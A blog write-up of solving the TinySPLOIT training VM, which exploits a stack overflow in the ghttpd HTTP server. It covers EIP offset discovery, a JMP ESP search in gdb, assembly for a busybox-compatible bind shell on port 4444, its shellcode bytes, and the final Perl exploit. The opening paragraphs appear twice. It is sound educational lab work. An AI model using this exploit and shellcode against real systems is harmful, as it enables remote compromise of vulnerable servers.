Hi there - so recently I attended one of Saumil Shah's excellent Exploit Lab training sessions, highly recommended. After that, I got hold of a training VM that he had put together called TinySPLOIT.
The challenge is to build an exploit for the HTTP server running on the VM & this is my write-up of solving it :-)
Okay so after setting up the VM, I see a HTTP server, the page indicates that this service is indeed the target and gives a quick clue to the exploitation vector;
So I put together a quick perl script to pipe out using netcat to test out the crash condition and do the binary chop to figure out the bytes that overwrite EIP;
The B's nicely overwrite EIP at this stage and ESP points to the beginning of the C's so I can just hunt for a JMP ESP to use like so;
Okay next stage is to add in the shellcode so I attempted to use the bind shell one I wrote for my SLAE here: http://pheneghan.blogspot.co.uk/2016/05/x86-bind-shell-from-scratch.html - this didn't work and there is a good reason why... Busybox!
So while my previous bind shell shellcode called execve like this;
execve("/bin//sh", [0], [/* 0 vars */])
...with busybox, I'll need to call it like this instead;
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */])
Busybox uses a series of symbolic links to real program names and a single big binary contains all of the basic GNU tools and switches depending on how it is called. Clearly for this, it'll need to know the argv[0] value and so the second case is required.
I modified the shellcode as shown below to implement the new execve and call /bin/sh using busybox;
Now I can drop this shellcode into the exploit script like so;
This works nicely and the bind shell works :-)
Thanks again to Saumil Shah for the excellent training!
The challenge is to build an exploit for the HTTP server running on the VM & this is my write-up of solving it :-)
Okay so after setting up the VM, I see a HTTP server, the page indicates that this service is indeed the target and gives a quick clue to the exploitation vector;
So I put together a quick perl script to pipe out using netcat to test out the crash condition and do the binary chop to figure out the bytes that overwrite EIP;
1: #!/usr/bin/perl
2: print "GET /" . "A"x352 . "B"x4 . "C"x450 . "HTTP/1.0\n\n";
The B's nicely overwrite EIP at this stage and ESP points to the beginning of the C's so I can just hunt for a JMP ESP to use like so;
(gdb) info proc mappings
process 1057
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804c000 0x4000 0x0 /opt/ghttpd/ghttpd
0x804c000 0x804d000 0x1000 0x3000 /opt/ghttpd/ghttpd
0x804d000 0x804f000 0x2000 0x4000 /opt/ghttpd/ghttpd
0x804f000 0x8071000 0x22000 0x0 [heap]
0xb7eb8000 0xb7ec0000 0x8000 0x0 /lib/libnss_files-2.17.so
0xb7ec0000 0xb7ec1000 0x1000 0x7000 /lib/libnss_files-2.17.so
0xb7ec1000 0xb7ec2000 0x1000 0x8000 /lib/libnss_files-2.17.so
0xb7ec4000 0xb7ec5000 0x1000 0x0
0xb7ec5000 0xb7fdc000 0x117000 0x0 /lib/libc-2.17.so
0xb7fdc000 0xb7fde000 0x2000 0x116000 /lib/libc-2.17.so
0xb7fde000 0xb7fdf000 0x1000 0x118000 /lib/libc-2.17.so
0xb7fdf000 0xb7fe2000 0x3000 0x0
0xb7fe3000 0xb7fe4000 0x1000 0x0
0xb7fe4000 0xb7fe5000 0x1000 0x0
0xb7fe5000 0xb7fe6000 0x1000 0x0 [vdso]
0xb7fe6000 0xb7ffe000 0x18000 0x0 /lib/ld-2.17.so
0xb7ffe000 0xb7fff000 0x1000 0x17000 /lib/ld-2.17.so
0xb7fff000 0xb8000000 0x1000 0x18000 /lib/ld-2.17.so
0xbffdf000 0xc0000000 0x21000 0x0 [stack]
(gdb) find /b 0xb7ec5000, 0xb7fdc000, 0xff, 0xe4
0xb7ec7a51
0xb7fb7223
...
Okay next stage is to add in the shellcode so I attempted to use the bind shell one I wrote for my SLAE here: http://pheneghan.blogspot.co.uk/2016/05/x86-bind-shell-from-scratch.html - this didn't work and there is a good reason why... Busybox!
So while my previous bind shell shellcode called execve like this;
execve("/bin//sh", [0], [/* 0 vars */])
...with busybox, I'll need to call it like this instead;
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */])
Busybox uses a series of symbolic links to real program names and a single big binary contains all of the basic GNU tools and switches depending on how it is called. Clearly for this, it'll need to know the argv[0] value and so the second case is required.
I modified the shellcode as shown below to implement the new execve and call /bin/sh using busybox;
paul@SLAE001:~$ cat tinysploit.nasm
; bind.asm
; Paul Heneghan
global _start
section .text
_start:
; clear regs so can use al, bl, etc... to avoid nulls!
xor eax, eax
xor ebx, ebx
xor esi, esi ;going to use this to push nulls
; socket via socketcall
mov bl, 0x1 ; socketcall number 1
; int socket(int domain, int type, int protocol);
push esi ; socket arg 3
push 0x1 ; socket arg 2
push 0x2 ; socket arg 1
mov ecx, esp ; socketcall args
mov al, 0x66 ; system call number 66
;int socketcall(int call, unsigned long *args);
int 0x80
mov edx, eax ; save sockfd for later
; bind via socketcall
mov bl, 0x2 ; socketcall number 2
;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push esi ;ip addr = any
push word 0x5c11 ;port 115c = 4444
push word 0x2 ;family inet = 2
mov ecx, esp
push 0x10 ; bind arg 3
push ecx ; bind arg 2
push eax ; bind arg 1
mov ecx, esp ; pointer to bind args
mov al, 0x66 ; system call number 66
;int socketcall(int call, unsigned long *args);
int 0x80
; listen via socketcall
mov bl, 0x4 ; socketcall number 4
;int listen(int sockfd, int backlog);
push esi ; listen arg 2
push edx ; listen arg 1
mov ecx, esp
mov al, 0x66 ; system call number 66
;int socketcall(int call, unsigned long *args);
int 0x80
; accept via socketcall
mov bl, 0x5 ; socketcall number 5
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
push esi ; bind arg 3
push esi ; bind arg 2
push edx ; bind arg 1
mov ecx, esp ; pointer to bind args
mov al, 0x66 ; system call number 66
;int socketcall(int call, unsigned long *args);
int 0x80
mov ebx, eax ; save connection fd for later
; dup2
xor ecx, ecx ; clear down ecx to avoid nulls
duploop:
mov al, 0x3f ; int dup2(int oldfd, int newfd);
int 0x80
inc ecx
cmp ecx, 3
jne duploop
; execve
mov al, 0xb ; int execve(const char *filename, char *const argv[], char *const envp[]);
push esi
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push esi ;new instruction to add a null spacer
push ebx ;new instruction to push the address of the /bin//sh
mov ecx, esp ;move the stack pointer into the second execve arg
;xor ecx, ecx
xor edx, edx
int 0x80
paul@SLAE001:~$ ./compile.sh tinysploit
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
paul@SLAE001:~$ objdump -d ./tinysploit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x56\x53\x89\xe1\x31\xd2\xcd\x80"
paul@SLAE001:~$
Now I can drop this shellcode into the exploit script like so;
1: #!/usr/bin/perl
2: $shellcode = "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x56\x53\x89\xe1\x31\xd2\xcd\x80";
3: print "GET /" . "A"x352 . "\x51\x7a\xec\xb7" . $shellcode . "C"x200 . "HTTP/1.0\n\n";
This works nicely and the bind shell works :-)
Thanks again to Saumil Shah for the excellent training!